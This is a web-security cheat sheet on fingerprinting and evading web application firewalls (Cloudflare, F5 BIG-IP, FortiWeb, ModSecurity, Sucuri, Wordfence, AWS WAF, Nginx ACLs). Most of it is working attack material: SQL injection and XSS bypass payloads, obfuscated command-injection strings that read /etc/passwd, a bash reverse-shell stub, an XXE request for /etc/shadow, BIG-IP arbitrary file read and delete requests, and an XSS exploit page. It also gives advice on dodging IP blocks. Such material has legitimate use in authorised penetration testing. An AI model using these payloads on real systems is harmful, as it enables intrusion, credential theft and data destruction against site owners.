16 KiB
WAF Detection and Bypass
Detection Techniques:
To identify WAFs, we need to (dummy) provoke it.
- Make a normal
GET
request from a browser, intercept and record response headers (specifically cookies). - Make a request from command line (eg. cURL), and test response content and headers (no user-agent included).
- Make
GET
requests to random open ports and grab banners which might expose the WAFs identity. - On login pages, inject common (easily detectable) payloads like
" or 1 = 1 --
. - Inject noisy payloads like
<script>alert()</script>
into search bars, contact forms and other input fields. - Attach a dummy
../../../etc/passwd
to a random parameter at end of URL. - Append some catchy keywords like
' OR SLEEP(5) OR '
at end of URLs to any random parameter. - Make GET requests with outdated protocols like
HTTP/0.9
(HTTP/0.9 does not support POST type queries). - Many a times, the WAF varies the Server header upon different types of interactions.
- Drop Action Technique - Send a raw crafted
FIN/RST
packet to server and identify response.
Tip: This method could be easily achieved with tools like HPing3 or Scapy.
- Side Channel Attacks - Examine the timing behaviour of the request and response content.
Tip: More details can be found in a blogpost here.
WAF Fingerprints
WAF | Fingerprints |
---|---|
ArvanCloud | • Detectability: Moderate • Detection: Server header contains ArvanCloud keyword. |
ASP.NET Generic | • Detectability: Easy • Detection: Response headers may contain X-ASPNET-Version header value.Blocked response page content may contain: • This generic 403 error means that the authenticated user is not authorized to use the requested resource. • Error Code 0x00000000< keyword. |
BIG-IP ASM | • Detectability: Moderate • Detection: Response headers may contain BigIP or F5 keyword value. Response header fields may contain X-WA-Info header. Response headers might have jumbled X-Cnection field value. |
Cloudflare | • Detectability: Easy • Detection: Response headers might have cf-ray field value.Server header field has value cloudflare .Set-Cookie response headers have __cfuid= cookie field.Page content might have Attention Required! or Cloudflare Ray ID: .Page content may contain DDoS protection by Cloudflareas text.You may encounter CLOUDFLARE_ERROR_500S_BOX upon hitting invalid URLs. |
FortiWeb | • Detectability: Moderate • Detection: Response headers contain FORTIWAFSID= on malicious requests. Response headers contain cookie name cookiesession1= Blocked response page contains: Reference to .fgd_icon image icon. Server Unavailable! as heading. Server unavailable. Please visit later. as text. |
Evasion Techniques
Fuzzing/Bruteforcing:
Running a set of payloads against the URL/endpoint. Some nice fuzzing wordlists:
- Wordlists specifically for fuzzing
Technique:
- Load up your wordlist into fuzzer and start the bruteforce.
- Record/log all responses from the different payloads fuzzed.
- Use random user-agents, ranging from Chrome Desktop to iPhone browser.
- If blocking noticed, increase fuzz latency (eg. 2-4 secs).
- Always use proxychains, since chances are real that your IP gets blocked.
Blacklisting Detection/Bypass
SQL Injection
# Keywords Filtered: and, or, union
Probable Regex: preg_match('/(and|or|union)/i', $id)
Blocked Attempt: union select user, password from users
Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin'
# Keywords Filtered: and, or, union, where
Blocked Attempt: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed Injection: 1 || (select user from users limit 1) = 'admin'
# Keywords Filtered: and, or, union, where, limit
Blocked Attempt: 1 || (select user from users limit 1) = 'admin'
Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
# Keywords Filtered: and, or, union
Probable Regex: preg_match('/(and|or|union)/i', $id)
Blocked Attempt: union select user, password from users
Bypassed Injection: 1 || (select user from users where user_id = 1) = 'admin'
# Keywords Filtered: and, or, union, where
Blocked Attempt: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed Injection: 1 || (select user from users limit 1) = 'admin'
# Keywords Filtered: and, or, union, where, limit
Blocked Attempt: 1 || (select user from users limit 1) = 'admin'
Bypassed Injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
Obfuscation
1. Case Toggling
# Standard
<script>alert()</script>
# Bypassed
<ScRipT>alert()</sCRipT>
# Standard
SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
# Bypassed
sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'
2. URL Encoding
# Blocked
<svG/x=">"/oNloaD=confirm()//
# Bypassed
%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
# Blocked
uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
# Bypassed
uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29
3. Unicode Normalization
# Standard
<marquee onstart=prompt()>
# Obfuscated
<marquee onstart=\u0070r\u06f\u006dpt()>
# Blocked
/?redir=http://google.com
# Bypassed
/?redir=http://google。com (Unicode alternative)
# Blocked
<marquee loop=1 onfinish=alert()>x
# Bypassed
<marquee loop=1 onfinish=alert︵1)>x (Unicode alternative)
# Standard
../../etc/passwd
# Obfuscated
%C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd
4. HTML Representation
# Standard
"><img src=x onerror=confirm()>
# Encoded
"><img src=x onerror=confirm()> (General form)
# Encoded
"><img src=x onerror=confirm()> (Numeric reference)
5. Using Comments
# Blocked
<script>alert()</script>
# Bypassed
<!--><script>alert/**/()/**/</script>
# Blocked
/?id=1+union+select+1,2,3--
# Bypassed
/?id=1+un/**/ion+sel/**/ect+1,2,3--
Cloudflare
XSS Bypass
<svg onx=() onload=(confirm)(1)>
<a+HREF='javascrip%26%239t:alert%26lpar;document.domain)'>test</a>
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
1'"><img/src/onerror=.1|alert``>
<svg/onload=alert()//
<a href="j	a	v	asc
ri	pt:\u0061\u006C\u0065\u0072\u0074(this['document']['cookie'])">X</a>`
<--`<img/src=` onerror=confirm``> --!>
javascript:{alert`0`}
<base href=//knoxss.me?
<j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x
// RCE Payload Detection Bypass
cat$u+/etc$u/passwd$u
/bin$u/bash$u <ip> <port>
";cat+/etc/passwd+#
Fortinet Fortiweb
# pcre_expression unvaidated XSS
/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0
# CSP Bypass
# POST Type Query
POST /<path>/login-app.aspx HTTP/1.1
Host: <host>
User-Agent: <any valid user agent string>
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: <the content length must be at least 2399 bytes>
var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>
# GET Type Query
http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>
F5 ASM
# XSS Bypass
<table background="javascript:alert(1)"></table>
"/><marquee onfinish=confirm(123)>a</marquee>
F5 BIG-IP
// XSS Bypass
<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss"onshow="prom%25%32%33%25%32%36x70;t(1)“>
// report_type XSS
https://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+
//POST Based XXE
POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143
<?xml version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>
// Directory Traversal
// Read Arbitrary File
/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd
// Delete Arbitrary File
POST /tmui/Control/form HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
Content-Type: application/x-www-form-urlencoded
_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete
ModSecurity
// XSS Bypass for CRS 3.2
<a href="jav%0Dascript:alert(1)">
// RCE Payloads Detection Bypass for PL3
;+$u+cat+/etc$u/passwd$u
// RCE Payloads Detection Bypass for PL2
;+$u+cat+/etc$u/passwd+\#
// RCE Payloads for PL1 and PL2
/???/??t+/???/??ss??
// SQLi Bypass
0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')
1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-
amUserId=1 union select username,password,3,4 from users
%0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201
1%0bAND(SELECT%0b1%20FROM%20mysql.x)
%40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29
%0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201
Sucuri
// XSS Bypass (POST Only)
<a href=javascript:confirm(1)>
// Smuggling RCE Payloads
/???/??t+/???/??ss??
// Obfuscating RCE Payloads
;+cat+/e'tc/pass'wd
c\\a\\t+/et\\c/pas\\swd
// XSS Bypass
"><input/onauxclick="[1].map(prompt)">
// XSS Bypass
data:text/html,<form action=https://brutelogic.com.br/xss-cp.php method=post>
<input type=hidden name=a value="<img/src=//knoxss.me/yt.jpg onpointerenter=alert`1`>">
<input type=submit></form>
Wordfence
// XSS Bypass
<a href=javascript:alert(1)>
<a href=javascript:alert(1)>
// XSS Bypass
<a/**/href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:/**/alert()/**/>click
// HTML Injection
http://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
// XSS Exploit
<html>
<head>
<title>Wordfence Security XSS exploit (C) 2012 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/?_wfsf=unlockEmail" method="post">
<input type="hidden" name="email"
value="<script>alert(document.cookie)</script>">
</form>
</body>
</html>
// Other XSS Bypasses
<meter onmouseover="alert(1)"
'">><div><meter onmouseover="alert(1)"</div>"
>><marquee loop=1 width=0 onfinish=alert(1)>
Apache Generic
// Writing method type in lowercase
get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
IIS Generic
// Tabs before method
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Bypassing Nginx ACL Rules
Nginx restriction example:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
NodeJS
- As Nginx includes the character \xa0 as part of the pathname, the ACL rule for the /admin URI will not be triggered. Consequently, Nginx will forward the HTTP message to the backend;
- When the URI /admin\x0a is received by the Node.js server, the character \xa0 will be removed, allowing successful retrieval of the /admin endpoint.
Nginx Version | Node.js Bypass Characters |
---|---|
1.22.0 | \xA0 |
1.21.6 | \xA0 |
1.20.2 | \xA0 , \x09 , \x0C |
1.18.0 | \xA0 , \x09 , \x0C |
1.16.1 | \xA0 , \x09 , \x0C |
Flask
Flask removes the characters \x85
, \xA0
, \x1F
, \x1E
, \x1D
, \x1C
, \x0C
, \x0B
, and \x09
from the URL path, but NGINX doesn't.
Nginx Version | Flask Bypass Characters |
---|---|
1.22.0 | \x85 , \xA0 |
1.21.6 | \x85 , \xA0 |
1.20.2 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.18.0 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.16.1 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
Spring Boot
Below, you will find a demonstration of how ACL protection can be circumvented by adding the character \x09 or at the end of the pathname:
Nginx Version | Spring Boot Bypass Characters |
---|---|
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | \x09 , ; |
1.18.0 | \x09 , ; |
1.16.1 | \x09 , ; |
PHP-FPM
Let's consider the following Nginx FPM configuration:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
It's possible to bypass it accessing /admin.php/index.php:
How to prevent
To prevent these issues, you must use the ~ expression Instead of the = expression on Nginx ACL rules, for example:
COPYCOPY
location ~* ^/admin {
deny all;
}
Bypassing AWS WAF ACL With Line Folding
It's possible to bypass AWS WAF protection in a HTTP header by using the following syntax where the AWS WAF won't understand X-Query header contains a sql injection payload while the node server behind will:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
Tools
- GoTestWAF - A tool to test a WAF's detection logic and bypasses